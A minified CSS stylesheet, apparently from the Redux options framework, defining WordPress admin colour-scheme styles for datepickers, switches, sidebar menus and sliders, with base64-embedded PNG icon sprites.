.select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-blue .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-blue .noUi-connect{background-color:#509dba !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#69abc4), to(#509dba)) !important;background-image:-moz-linear-gradient(top, #69abc4, #509dba) !important;background-image:-ms-linear-gradient(top, #69abc4, #509dba) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #69abc4), color-stop(100%, #509dba)) !important;background-image:-webkit-linear-gradient(top, #69abc4, #509dba) !important;background-image:-o-linear-gradient(top, #69abc4, #509dba) !important;background-image:-linear-gradient(top, #69abc4, #509dba) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#69abc4', endColorstr='#509dba', GradientType=0) !important}.admin-color-coffee .button.ui-datepicker-current,.admin-color-coffee button.ui-datepicker-close{background-color:#ccad93 !important}.admin-color-coffee .ui-datepicker-buttonpane button.ui-datepicker-current{background:#ba906d !important;color:white !important;border:1px solid #835d3e !important}.admin-color-coffee .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAADwCAMAAADYSUr5AAAA7VBMVEX8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vywC3+8AAAATnRSTlMAGBAyBAhQv4OZLiJUcEBmYBoSzQwgPBZCSEoeWiYwUiyFNIeBw2rJz8c4RBy9uXyrtaWNqa2zKP2fJO8KBgKPo2KVoa9s351GPm5+kWho0kj9AAAPhUlEQVR4nO1djWLbthEGyUiq5YSSLXtp7FpLOmfzkmxr126tmi2p03RJ1/Xe/3EGgARxPyAgRbIk2/hkSz4CJO4+HsE7AJSVysjI2AMUUOxahZ2iANhzBtZWr4BoIRSYAVN5u4QwDwQDRbcwfUi5KS3wFuDmFnQLa4Dtb//cqktwD5QEFFwfUs7PoCCA7y4bEJVFizcIob8KmhAplwwqVjt+9FBl3uINQniwEiryEyw9JHqGpQdEFNi+B4QQ7QOiHhysIPoAxUqxvdvvA9K42bsAv4S2fxfYOe57IJSRkZGRkZGxx7jxSHDHcRBXQMTyIjInBgHwBJ/bEx8PEANC+uhbpSSggCBAVODVabpI1S/k4WLZpTn6NpMhoX9Y40hxYERFpMcqUs4AloCtDQdID1YhnyXZ2hLjAYWiO9Dy1PDB7tPhIqLx+uMB8grZaR+Qxl2/C2RkZGRkZGRk7A7rBf7J0DR5/LUTjzUPIPSPGvQJiVJiB7kcQCiUOJrcFNtDZIf2xarQ3aGvLNxAVIFAabz90BFiBIlycTBhgWwOWCH0FLYHlPqwHaCvcIn2ZbosCevfPTRiFFcgvHukCjWwrc3GrGh1fsAof8EaUReKXkCB4/MzFNo97qLpFiKFYv/kNR5YQxQbQEofkZ2OuEOHqqT6gFTpru8CN7x/+jaZkZGRkZGRcV+x/rLUNcMMqUAscgnFocmpqkTzqymwVAPxfJ5PnIUUQOUKT04tEdWZyv3JCQSn96WS4pD97QfyW25A7NhSAbyhmVj0FEltA4vdiygBibXhoUYgykCUP7HwPTDeEqAIcHVMkZg7Zx4k0uFANs63hPQXCoRLAwdgGsr9Az7Qv7sgQGgg1aPl/BJLExBWgG4RFRLFImGmIquPC/klEGyCG0AuAXaJJC+B8FVe9NYQDEcXB8g6AQcjYJ1goJIggHWCrFR0S6kRHN5+4BzFi8NaoN35NRxUvL+JJdZr7PV4wK6fj8nIyMjIyNhr3OxdXAYq7FHZwB6bDSzSh4sF0utChqo0NAvaT1hLzXwFinmCzmeDucEQK18TTaQoFgP7bNC+RZ4OT4T6gQogDFYk+1QxQlj19QGSAWKiLYp8P0Ag1Gbz1ULfWHLg9iUnQNK5QQJcukm04blKLH2GgEJCY+HzXAZWCvHKco3Bp6MIaCjSXXRJyOxeqhnzEaF93MfFGW/O16ZvDL5TM4MJIjujz/cHypkQuuzRwWJ93BKdIt+wCRAPl9kpe2Ikkb2mFgGlxh/i40d3EHfdvoyMjIyMu43ylt/IAmGHnN5iIt7wKfbv01RAcJqFRl9lcjYQSnbQqKgC4fYOwSJt6N6trE0twZ9kN/PqNpTQeICvr4TLsDYC06U7BMjshS+v1/aT7IwQYD5LcgRQXMT2FrBfBLjZ6151jDElk9tPFfpUgk2yregusX25BJbwAFEfM+YI6vGAti4bTtizB+TjfQCrERyhKb2X8D6A9wX75P4t4neBYJeP6pdhg/gQl8MWvytzeSTjgOQBynQdh/iXKdxOrGJ/RkZGRsb9QmXihGr5+g8GGg9uTh+KoVZuNIzV+CwRucFBEyr1mVjx4irOxwM1BhirB6Q+2eNQi4eqR+aF6mELtoMzCR7V9RAFe/ZvQogNiyY8FPSUTFsLp8TeTmMui5mtw7bcaT0Yw2AA4wFRQIlkgq+1DQrNhkmoxS5Jq+u6bMAIGRECEANgXHTgWzwgBOhDH2l0oTQ4D8D5NMktBgNywAEMjo8rwATMZrPY7JGxBoJCkIBDQiAY09EGTUiBCWkUpISfGPR5AAwBfZiG2z7Ayc1yeKTxid39xBNwfHr4O0LA48ePFTvhYrF1r4tyAoz9n2MCqEuBtp/6GDR0oAYfG/R6wJExHYZHfhygsv7fEWCOj4bYmsP5A+pL4MkTfAnMlD4F+r3bobKvTyTA2P/w7PN+Agq2QW8piqMCpTBwenoKvX0AHGkGtP2YAPvTEWA7QUTAudn7/NxtOG46wWNmDtpBEkBzN7rBEvAFHp+YTB/q97qPAN4gHFqgBi8uLsC7qPCA6mg41G/+ErByPwEXDdoNxRhOx+M5jPEzQugS0ht+b1/Y3gEnYMAIAOIBE29/hIDucE8tmMsNOgK4B1RHFu4UCRlMHzv0xzcajcfdXWDs2h8TArBCkoDUJYDLmz6w7ip3BFS0ve5wTRwAn6keMA9I3QYbfSZ0DKbyt+7OXjGI1idPcfNyAyfAMlCrzaGqphYrxHocLHRJVycnfGUcbtT+jIyMjIw9x7Nn8fJSzG0TmFtO8rZT+XT3S3ub+tKJbbLd5diTVp50+zahyeHSslJ/YPrU0fuazrZO2CZ92/ZCCVXlGRiZKPJyPPRxyIFWeXLQBXJBKiq/3divEAN6ZwM200Qjm7EJBZeWm/PRWVCbYK7s7u2l4XaCz+lzgOfMfhMonXr7TWzeZb98dbgIzBT8Ub8eYYUqfZ4rVJ/MDbIDgPqTulJ/xvntWAtjIisqnwxOkGz0n077FARoY79GdA6HPE4rOy196NiMWHTZlSSApcOgXpy/fHV2joaNKu3ffsAnRcBf4K/6NcIG6tIxk3HyoXPjASqfUgXbYN5PzpL2njkR9QMjeDTVHDTCgRuxOegjoO0FvKzP/t/gmVdI24+G7NIe8JX6Wv3dDyldMA+4YB5wwTygtd+dwRqaTqrLb1l73zTSN52CNpnHuQOYPsDblybgxfkXh/oVtr+N1DEBJdhRJyd/Bd/q1z+cbNrD17iVKyajcnv9arhOkRPgsruuD6DmNPwpDNrLw2CoTgHni4yALr0L29+tiKAEIPn868ejx//8rpWP3OEOl5On9OwpcQm0MhafP/ey8f1uvDNIgGLQG8z4YO99ENgg95etwv4uYJYY8fUGHYH6j6fscHFZMftlAl9i+9XL73X3N/n+ZStOzfVfRvYXhrbdKOpEgVQTg/wsDuDD3kwOfQNMTJ5y+/ltUDWLunyxnRF46IqlBzGMY4X7inggREFioIyMjIyMHWCIB6ZNKAcXseo3vLTQTkVE7348dlwJJSz0+wLfmi8BhZqfw3D4ww/wHVLnEd5/fgYvXsDZ3MlsvYUbbnDjDZ3MN3TJG4+bxjAaDl8TBri9qxEw1ccao2wTNAMLHo2f+sjrXwb/9qHoYqgPMBXJTVfOpmrZH23y6uvo0LHSyY6fHGwKfHJlAuMFvObjDYrIqxBgQi20h7Hd/nYVLmno+eaNUm/eeH2GCuopntnhBJAlI2AHo9CCh1I1QxUdAbqqGY9BBLwyc3W4wYVhvY8A4BoIc1l5M7vnPWphZW9/Ses3n37y9a0uGqFwFQZsQQbd386DogpgEk+dzynsAZMJXq8+ns9NeukJ0PYrNATGGefJQlhkLo7DTXr+y3bNiOsDvrXTz/C2q1DXZH84iRNwrP88Nj+u2DjYEE6RBxD9Knj16ujVHC67A7422o02RwD3gB+t7EblWvu9geOFxSnd3ROmT+nJyQkhoPlsxVONc/3TEdBos+jtA+ZzcwHgTvD1cDjaYCcItA8w9i88A8b+mqSjc6Pvqd998QguEQPmQMeo23ODN86+p0/bn1buBkT6+oBhNZ/PYY4ZAHYb3PRd4LkZmPX68NRtMZn4ASvdA+qf0jMA5MP9eeg28Nug9QiLnj5A33U1MAES6xHAUNpz/9zFAYE1gqQDMT3G6xI9pwdw/aIgKoHCS1YGlRnSq9yCjdXjgN3j+N27YyROHxmuNAeNKPpYuXIyIyMjYy0M8eros59MF/PT2c602T7eA7zvhJ9dr/vzDjXaLp4Yc5+0wllzxzHv3gdmMMM7/CcQzKgVBqYTmFn+Z+mKm8J7k0A5F/jgCfjQ1WBhQyiOqD0lYuqBb+AyzMw9Ha2G3m6c8qQx+AlqnIceQp+Sb6i9UyQWbhr54+AjnZ0VzW2TAN0DmBT6PWmc6jDBE2PK2u+nF43dyP7Q0t1pOcX2fdRvH0mF2Q4JqN35rnHjVIeaXfIAVyUuw/aHCCiJy9iF5l1621zweI8KZrPZ9iJdb7DXJ3US0OSrtZ10imt7wHY7QesAzUMz1oZ3noB3qFJ/H18j97FYuw8QDN4oeKf30osvcSW2ExLo+VcbuAuo/sUIm8fMG9xocO3Ea19J9gFYivnHJ2KnyfovZlgW3v6ySx32abQiIyMjIyPjhlFDTLxpwIgFMnTp6A3g4IDKNY+stkwAMAoIAbasxBXqUWneSAWTMjt50lTqT29rFjvXohjsDNm2YPXDFlICmrJOZ3t6tHm8AiEAl0sCeLIIorIRt+cFbew/QRsoAXb4o1XSfoywzm0FTMAoYBNvLyFu8v8HpLBtD1iKgC17wHb7AI6d9wFbvguAIGTHd4E9wG7jgIyMjIyM+434c2R3HeV/Ffx6jtZu6ijl8h59T655jhR+rdHzDOP6beABCheb8O8/WFXeOyzgf5oAhVYnKxP7CwaAf1afJu8bSrhS6tdaXeGnrRenOqOlz9d6QwYnA/3TLd+GE7qe3chA5YF5DfY0vK3adfOX/gyNp2BW25MHdxAB9qvRiiP3/XpQQFGYDU4+Mi///XumXG8pjvaUAOsBGlf4jJt+YYEzeEzAdw06F19R3juM7D1wita86GR0CKfDHgLuXCc4Bri6vMLdfjMc4VNSUNsdodo2xu/1+Xl/K5+az8jIyMhYG/z5gJTMF1GtKq/a3rpyCvz5gJTMl9GtKq/a3rpyCmfQ4WwZmS+kXFVetb115ST48wEf/AGcfG1iw+tWbpbS2vJ3nQxcVr3lH3z5h972FUTLzYpOVk7l5hD+eYcYwDcAnewOotrZ4OtrPDucqi/LRX0/RR4qx7Nn4U8g+qjffvuN6Gf+nC85vwauHjaYyubqvWYKY4VEfSUMitdnBCT1Ue63R5439m+OgCn6DroAAaHPVQxKth/wkJgHmG8bmQMsT0D6EjDfvhVRKO3ywOQUgRA7nmL1uawZmHf1k+DPBwQ6NdcJ+k6Md1LA5f5ONdhJ8vZ5J0vLHT99srkGOjmJbd/G1r2Nriqnse1AZt1AalU5jW2HsuuG0qvKGRkZGRkZGRG0gcONyXsP9v8D0/IdJADiBNiXl3327WRGgOL/9HC/0XwlIURkRhC4tz6Z/fu7fUf2gHvfB9z3u0BGRkZGRkbGplHcnkgguQoSqtUXuhbs/wPtMwqV0HUJAvj5vk32b8IDuL23yn7qAXZ5u32hbRX7d3o82Df1FZXvbh9QOfhyxldr/+3xgXU9oKmvsHyr7F/XA269/eveBXrsv7N9QALe/tvjA0kPWAXGbvebkbHn+D/J5nMcHzx1UAAAAABJRU5ErkJggg==) !important}.admin-color-coffee .ui-datepicker-header{background-color:#46403c !important;color:white !important}.admin-color-coffee .ui-datepicker td .ui-state-active{background-color:#ccad93 !important;color:white !important}.admin-color-coffee .ui-datepicker td .ui-state-hover{color:#ccad93 !important}.admin-color-coffee .ui-datepicker td .ui-state-highlight{background:#c7a589 !important;border:1px solid #46403c !important;color:white !important}.admin-color-coffee .redux-container-switch .cb-disable,.admin-color-coffee .redux-container-switch .cb-enable,.admin-color-coffee .ui-state-default,.admin-color-coffee .ui-widget-content .ui-state-default,.admin-color-coffee .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-coffee .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-coffee .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-coffee .redux-container-switch .cb-enable.selected,.admin-color-coffee .redux-field-container .ui-buttonset .ui-state-active{background-color:#c7a589 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#d2b7a1), to(#c7a589)) !important;background-image:-moz-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-ms-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #d2b7a1), color-stop(100%, #c7a589)) !important;background-image:-webkit-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-o-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-linear-gradient(top, #d2b7a1, #c7a589) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#d2b7a1', endColorstr='#c7a589', GradientType=0) !important;border-color:#ae7d55 !important;border-color:#b78b66 !important;-webkit-box-shadow:inset 0 1px 0 #e0cdbd,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #e0cdbd,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-coffee #redux-header{background:#46403c;border-color:#c7a589}.admin-color-coffee #redux-header .display_header span{color:#cdcbc9}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-coffee .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-coffee .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-coffee .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-coffee .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-coffee .redux-sidebar .redux-group-menu li.active,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-coffee .redux-sidebar .redux-group-menu li.active a,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild a{color:#46403c}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#ba906d;background:#2b2724}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#c7a589}.admin-color-coffee .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#46403c}.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#cdcbc9;text-shadow:1px 1px #837f7a}.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#46403c;text-shadow:none}.admin-color-coffee .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#c7a589;text-shadow:1px 1px #9f714b}.admin-color-coffee .redux-container-image_select .redux-image-select-selected img{border-color:#c7a589}.admin-color-coffee .redux-container-image_select .redux-image-select-selected .tiles{border-color:#c7a589}.admin-color-coffee #redux-footer #redux-share a{color:#c7a589}.admin-color-coffee #redux-footer #redux-share a:hover{color:#9f714b}.admin-color-coffee .select2-results .select2-highlighted{background:#c7a589}.admin-color-coffee .select2-drop-active,.admin-color-coffee .select2-container-multi.select2-container-active .select2-choices,.admin-color-coffee .select2-drop.select2-drop-above.select2-drop-active,.admin-color-coffee .select2-container-active .select2-choice,.admin-color-coffee .select2-container-active .select2-choices,.admin-color-coffee .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-coffee .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#c7a589}.admin-color-coffee .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-coffee .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-coffee .noUi-connect{background-color:#ccad93 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#d7bfac), to(#ccad93)) !important;background-image:-moz-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-ms-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #d7bfac), color-stop(100%, #ccad93)) !important;background-image:-webkit-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-o-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-linear-gradient(top, #d7bfac, #ccad93) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#d7bfac', endColorstr='#ccad93', GradientType=0) !important}.admin-color-ectoplasm .button.ui-datepicker-current,.admin-color-ectoplasm button.ui-datepicker-close{background-color:#a9bd4f !important}.admin-color-ectoplasm .ui-datepicker-buttonpane button.ui-datepicker-current{background:#89993a !important;color:white !important;border:1px solid #474f1e !important}.admin-color-ectoplasm .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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